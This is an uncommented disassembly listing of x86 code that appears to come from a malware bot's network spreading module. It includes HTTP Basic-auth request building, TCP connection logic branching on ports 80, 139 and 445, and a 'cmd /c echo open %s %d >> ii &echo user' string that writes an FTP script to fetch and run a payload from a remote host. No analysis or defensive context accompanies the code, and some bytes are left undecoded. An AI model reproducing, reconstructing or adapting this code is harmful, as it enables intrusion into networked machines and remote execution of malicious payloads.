; =============== S U B	R O U T	I N E =======================================



sub_404032	proc near		; CODE XREF: sub_4041D4+24p

var_40		= qword	ptr -40h

		mov	eax, offset loc_4230E7
		call	sub_418290
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_404667
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_403FE6
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_404074
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_4045E2


loc_404074:				; CODE XREF: sub_404032+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_404191
		mov	ebx, [ebp+10h]


loc_404083:				; CODE XREF: sub_404032+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40408D
		push	3
		jmp	short loc_40409F
; ---------------------------------------------------------------------------


loc_40408D:				; CODE XREF: sub_404032+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_404097
		push	2
		jmp	short loc_40409F
; ---------------------------------------------------------------------------


loc_404097:				; CODE XREF: sub_404032+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_4040A0
		push	1


loc_40409F:				; CODE XREF: sub_404032+59j
					; sub_404032+63j
		pop	ebx


loc_4040A0:				; CODE XREF: sub_404032+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_424288
		fstp	[esp+40h+var_40]
		call	sub_417DEB
		pop	ecx
		pop	ecx
		call	sub_417DC4
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_4040DF
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_4040DF:				; CODE XREF: sub_404032+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40414D
		add	[ebp-18h], eax


loc_404131:				; CODE XREF: sub_404032+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_42876C[eax]
		push	eax
		push	1
		call	sub_404464
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_404131


loc_40414D:				; CODE XREF: sub_404032+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40416B
		push	dword ptr [ebp+14h]
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_4044BD


loc_404168:				; DATA XREF: Themida_:005133E1o
		mov	[ebp-18h], edi


loc_40416B:				; CODE XREF: sub_404032+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_404185
		sub	esi, [ebp-1Ch]


loc_404176:				; CODE XREF: sub_404032+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_404464
		dec	esi
		jnz	short loc_404176


loc_404185:				; CODE XREF: sub_404032+13Fj
		cmp	[ebp+10h], edi
		ja	loc_404083
		push	1
		pop	ebx


loc_404191:				; CODE XREF: sub_404032+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_404667
		push	dword_424280
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_404514
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_404667
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_404032	endp


; =============== S U B	R O U T	I N E =======================================



sub_4041D4	proc near		; CODE XREF: ___:004043CFp
		mov	eax, offset loc_423104
		call	sub_418290
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_43C80C
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_404032
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_417B89
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40421E
		xor	bl, bl
		jmp	short loc_404262
; ---------------------------------------------------------------------------


loc_40421E:				; CODE XREF: sub_4041D4+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_424290
		cmp	ecx, ebx
		jnz	short loc_40422C
		mov	ecx, eax


loc_40422C:				; CODE XREF: sub_4041D4+54j
		cmp	[ebp+18h], ebx
		jz	short loc_404234
		mov	eax, [ebp+18h]


loc_404234:				; CODE XREF: sub_4041D4+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41782A
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_43F6B8
		cmp	eax, esi
		jz	short loc_404259
		xor	bl, bl
		jmp	short loc_40425B
; ---------------------------------------------------------------------------


loc_404259:				; CODE XREF: sub_4041D4+7Fj
		mov	bl, 1


loc_40425B:				; CODE XREF: sub_4041D4+83j
		push	edi
		call	sub_417C3B
		pop	ecx


loc_404262:				; CODE XREF: sub_4041D4+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_404667
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_404667
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_4041D4	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_428918
		push	eax
		call	sub_417390
		add	esp, 0Ch
		mov	eax, offset byte_42F674
		push	eax
		push	eax
		push	dword_43C83C
		push	dword ptr [ebp+8]
		call	sub_40AEE0
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41782A
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_4287B0
		push	eax
		call	sub_403A90
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40432B
		xor	eax, eax
		jmp	loc_404457
; ---------------------------------------------------------------------------


loc_40432B:				; CODE XREF: ___:00404322j
		mov	[ebp-0Ch], esi


loc_40432E:				; CODE XREF: ___:0040442Ej
		test	esi, esi
		jnz	loc_404434
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40441C
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_43F668
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_43F6A8
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jz	loc_404411
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_4043D9
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_404667
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_4046A3
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_4041D4
		add	esp, 1Ch
		jmp	short loc_40440E
; ---------------------------------------------------------------------------


loc_4043D9:				; CODE XREF: ___:00404397j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_4043F3
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_403F94
		jmp	short loc_40440B
; ---------------------------------------------------------------------------


loc_4043F3:				; CODE XREF: ___:004043E3j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_404411
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_403EBA


loc_40440B:				; CODE XREF: ___:004043F1j
		add	esp, 0Ch


loc_40440E:				; CODE XREF: ___:004043D7j
		movzx	esi, al


loc_404411:				; CODE XREF: ___:0040438Aj
					; ___:004043FDj
		push	ebx
		call	dword_43F700
		test	esi, esi
		jnz	short loc_404427


loc_40441C:				; CODE XREF: ___:00404347j
		push	3E8h
		nop
		call	near ptr 25F0439h


loc_404427:				; CODE XREF: ___:0040441Aj
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40432E


loc_404434:				; CODE XREF: ___:00404330j
		lea	ecx, [ebp-8]
		call	sub_4038B5
		test	esi, esi
		jz	short loc_404455
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]


loc_404455:				; CODE XREF: ___:0040443Ej
		mov	eax, esi


loc_404457:				; CODE XREF: ___:00404326j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4230C8


loc_40445C:				; CODE XREF: sub_4230C8+3j
					; ___:004230E1j ...
		push	1
		call	sub_404667
		retn
; END OF FUNCTION CHUNK	FOR sub_4230C8

; =============== S U B	R O U T	I N E =======================================



sub_404464	proc near		; CODE XREF: sub_404032+110p
					; sub_404032+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_424280
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40447E
		call	sub_42298A


loc_40447E:				; CODE XREF: sub_404464+13j
		test	ebx, ebx
		jbe	short loc_4044B5
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_4045E2
		test	al, al
		jz	short loc_4044B5
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_417330
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_4044B5:				; CODE XREF: sub_404464+1Cj
					; sub_404464+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_404464	endp


; =============== S U B	R O U T	I N E =======================================



sub_4044BD	proc near		; CODE XREF: sub_404032+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_424280
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_4044D7
		call	sub_42298A


loc_4044D7:				; CODE XREF: sub_4044BD+13j
		test	ebx, ebx
		jbe	short loc_40450C
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_4045E2
		test	al, al
		jz	short loc_40450C
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_417390
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40450C:				; CODE XREF: sub_4044BD+1Cj
					; sub_4044BD+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4044BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404514	proc near		; CODE XREF: sub_404032+17Cp
					; sub_4228A0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40452C
		call	sub_422863


loc_40452C:				; CODE XREF: sub_404514+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40453E
		mov	esi, [ebp+arg_8]


loc_40453E:				; CODE XREF: sub_404514+25j
		cmp	edi, ebx
		jnz	short loc_404560
		push	dword_424280
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_4046D8
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_4046D8
		jmp	short loc_4045D9
; ---------------------------------------------------------------------------


loc_404560:				; CODE XREF: sub_404514+2Cj
		test	esi, esi
		jbe	short loc_4045A3
		cmp	esi, eax
		jnz	short loc_4045A3
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_404574
		mov	eax, offset dword_424290


loc_404574:				; CODE XREF: sub_404514+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_4045A3
		push	1
		mov	ecx, edi
		call	sub_404667
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40458F
		mov	eax, offset dword_424290


loc_40458F:				; CODE XREF: sub_404514+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_4045D9
; ---------------------------------------------------------------------------


loc_4045A3:				; CODE XREF: sub_404514+4Ej
					; sub_404514+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_4045E2
		test	al, al
		jz	short loc_4045D9
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_4045BD
		mov	eax, offset dword_424290


loc_4045BD:				; CODE XREF: sub_404514+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_417390
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_4045D9:				; CODE XREF: sub_404514+4Aj
					; sub_404514+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_404514	endp


; =============== S U B	R O U T	I N E =======================================



sub_4045E2	proc near		; CODE XREF: sub_404032+3Dp
					; sub_404464+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_4045F4
		call	sub_42298A


loc_4045F4:				; CODE XREF: sub_4045E2+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40461D
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40461D
		cmp	al, 0FFh
		jz	short loc_40461D
		cmp	edi, edx
		jnz	short loc_404658
		dec	al
		push	edx
		mov	[ecx-1], al


loc_404612:				; CODE XREF: sub_4045E2+47j
		mov	ecx, esi
		call	sub_404667


loc_404619:				; CODE XREF: sub_4045E2+4Bj
					; sub_4045E2+52j
		xor	al, al
		jmp	short loc_404662
; ---------------------------------------------------------------------------


loc_40461D:				; CODE XREF: sub_4045E2+19j
					; sub_4045E2+20j ...
		cmp	edi, edx
		jnz	short loc_404636
		cmp	[esp+8+arg_4], dl
		jz	short loc_40462B
		push	1
		jmp	short loc_404612
; ---------------------------------------------------------------------------


loc_40462B:				; CODE XREF: sub_4045E2+43j
		cmp	ecx, edx
		jz	short loc_404619
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_404619
; ---------------------------------------------------------------------------


loc_404636:				; CODE XREF: sub_4045E2+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_404653
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_404648
		cmp	eax, edi
		jnb	short loc_404660


loc_404648:				; CODE XREF: sub_4045E2+60j
		push	1
		mov	ecx, esi
		call	sub_404667
		jmp	short loc_404658
; ---------------------------------------------------------------------------


loc_404653:				; CODE XREF: sub_4045E2+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_404660


loc_404658:				; CODE XREF: sub_4045E2+28j
					; sub_4045E2+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40473F


loc_404660:				; CODE XREF: sub_4045E2+64j
					; sub_4045E2+74j
		mov	al, 1


loc_404662:				; CODE XREF: sub_4045E2+39j
		pop	edi
		pop	esi
		retn	8
sub_4045E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_404667	proc near		; CODE XREF: sub_404032+1Fp
					; sub_404032+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_404693
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_404693
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40468C
		cmp	al, 0FFh
		jz	short loc_40468C
		dec	al
		mov	[ecx], al
		jmp	short loc_404693
; ---------------------------------------------------------------------------


loc_40468C:				; CODE XREF: sub_404667+19j
					; sub_404667+1Dj
		push	ecx
		call	sub_4182AF
		pop	ecx


loc_404693:				; CODE XREF: sub_404667+8j
					; sub_404667+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_404667	endp


; =============== S U B	R O U T	I N E =======================================



sub_4046A3	proc near		; CODE XREF: ___:004043C3p
					; sub_4047FC+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_4045E2
		test	al, al
		jz	short loc_4046D1
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_417390
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_4046D1:				; CODE XREF: sub_4046A3+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_4046A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4046D8	proc near		; CODE XREF: sub_404514+39p
					; sub_404514+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_4046EB
		call	sub_422863


loc_4046EB:				; CODE XREF: sub_4046D8+Cj
		mov	ecx, edi
		call	sub_4047FC
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_404701
		mov	ebx, eax


loc_404701:				; CODE XREF: sub_4046D8+25j
		test	ebx, ebx
		jbe	short loc_404737
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_4182C0
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_4045E2
		test	al, al
		jz	short loc_404737
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_404737:				; CODE XREF: sub_4046D8+2Bj
					; sub_4046D8+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4046D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40473F	proc near		; CODE XREF: sub_4045E2+79p
		mov	eax, offset loc_423110
		call	sub_418290
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_404765
		mov	edi, [ebp+8]


loc_404765:				; CODE XREF: sub_40473F+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_404772
		xor	eax, eax


loc_404772:				; CODE XREF: sub_40473F+2Fj
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_4047A3
; ---------------------------------------------------------------------------


loc_40477E:				; DATA XREF: ___:00424F9Co
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40478D
		xor	eax, eax


loc_40478D:				; CODE XREF: sub_40473F+4Aj
		push	eax
		call	sub_4185F5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40479D
		retn
; ---------------------------------------------------------------------------


loc_40479D:				; DATA XREF: sub_40473F+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_4047A3:				; CODE XREF: sub_40473F+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_4047C1
		cmp	eax, edi
		jbe	short loc_4047B0
		mov	eax, edi


loc_4047B0:				; CODE XREF: sub_40473F+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_417390
		add	esp, 0Ch


loc_4047C1:				; CODE XREF: sub_40473F+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_404667
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_4047E1
		mov	edi, ebx


loc_4047E1:				; CODE XREF: sub_40473F+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40473F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4047FC	proc near		; CODE XREF: sub_4046D8+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_404829
		mov	al, [esi-1]
		test	al, al
		jz	short loc_404829
		cmp	al, 0FFh
		jz	short loc_404829
		push	1
		call	sub_404667
		push	esi
		call	sub_417AB0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_4046A3


loc_404829:				; CODE XREF: sub_4047FC+9j
					; sub_4047FC+10j ...
		pop	edi
		pop	esi
		retn
sub_4047FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40482C	proc near		; DATA XREF: ___:00426008o
		test	byte_48A30C, 1
		jnz	short loc_40483C
		or	byte_48A30C, 1


loc_40483C:				; CODE XREF: sub_40482C+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_418670
		pop	ecx
		retn
sub_40482C	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40484E	proc near		; DATA XREF: ___:0042600Co
		jmp	$+5
sub_40484E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404853	proc near
		mov	eax, dword_428BE0
		add	eax, 6
		mov	dword_43C828, eax
		retn
sub_404853	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404861	proc near		; CODE XREF: sub_404861+D0p
					; ___:00404DC0p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_404875
		or	[ebp+arg_7], 1
		jmp	short loc_404879
; ---------------------------------------------------------------------------


loc_404875:				; CODE XREF: sub_404861+Cj
		and	[ebp+arg_7], 0FEh


loc_404879:				; CODE XREF: sub_404861+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40489D
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_4048AF
; ---------------------------------------------------------------------------


loc_40489D:				; CODE XREF: sub_404861+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1


loc_4048AF:				; CODE XREF: sub_404861+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_417B89
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_404948
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		nop
		call	near ptr 2620000h
		test	eax, eax
		jz	short loc_40493F
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40493F
		push	[ebp+arg_20]
		call	sub_417C3B
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40493B
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_404861
		add	esp, 2Ch
		jmp	short loc_40494A
; ---------------------------------------------------------------------------


loc_40493B:				; CODE XREF: sub_404861+B3j
		mov	al, 1
		jmp	short loc_40494A
; ---------------------------------------------------------------------------


loc_40493F:				; CODE XREF: sub_404861+9Cj
					; sub_404861+A4j
		push	[ebp+arg_20]
		call	sub_417C3B
		pop	ecx


loc_404948:				; CODE XREF: sub_404861+61j
		xor	al, al


loc_40494A:				; CODE XREF: sub_404861+D8j
					; sub_404861+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404861	endp

; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ‹
		db 0ECh	; ì
		db 0B8h	; ¸
		db 0DCh	; Ü
		db  60h	; `
		db    0
		db    0
		db 0E8h	; è
		db 0D4h	; Ô
		db  31h	; 1
		db    1
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  68h	; h
		db  5Ch	; \
		db  8Ch	; Œ
		db  42h	; B
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; è
		db  24h	; $
		db  3Eh	; >
		db    1
		db    0
		db  59h	; Y
		db  33h	; 3
		db 0DBh	; Û
		db  85h	; …
		db 0C0h	; À
		db  59h	; Y
		db  74h	; t
		db  4Eh	; N
		db 0FFh
		db  75h	; u
		db    8
		db 0BEh	; ¾
		db    0
		db  20h
		db    0
		db    0
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0DFh	; ß
		db 0FFh
		db 0FFh
		db  68h	; h
		db  28h	; (
		db  86h	; †
		db  42h	; B
		db    0
		db  56h	; V
		db  50h	; P
		db 0E8h	; è
		db  9Ch	; œ
		db  2Eh	; .
		db    1
		db    0
		db  6Ah	; j
		db  20h
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  53h	; S
		db  50h	; P
		db 0E8h	; è
		db  93h	; “
		db  29h	; )
		db    1
		db    0
		db  8Dh	; 
		db  85h	; …
		db  24h	; $
		db 0DFh	; ß
		db 0FFh
		db 0FFh
		db  83h	; ƒ
		db 0C4h	; Ä
		db  1Ch
		db  89h	; ‰
		db  85h	; …
		db  38h	; 8
		db 0FFh
		db 0FFh
		db 0FFh
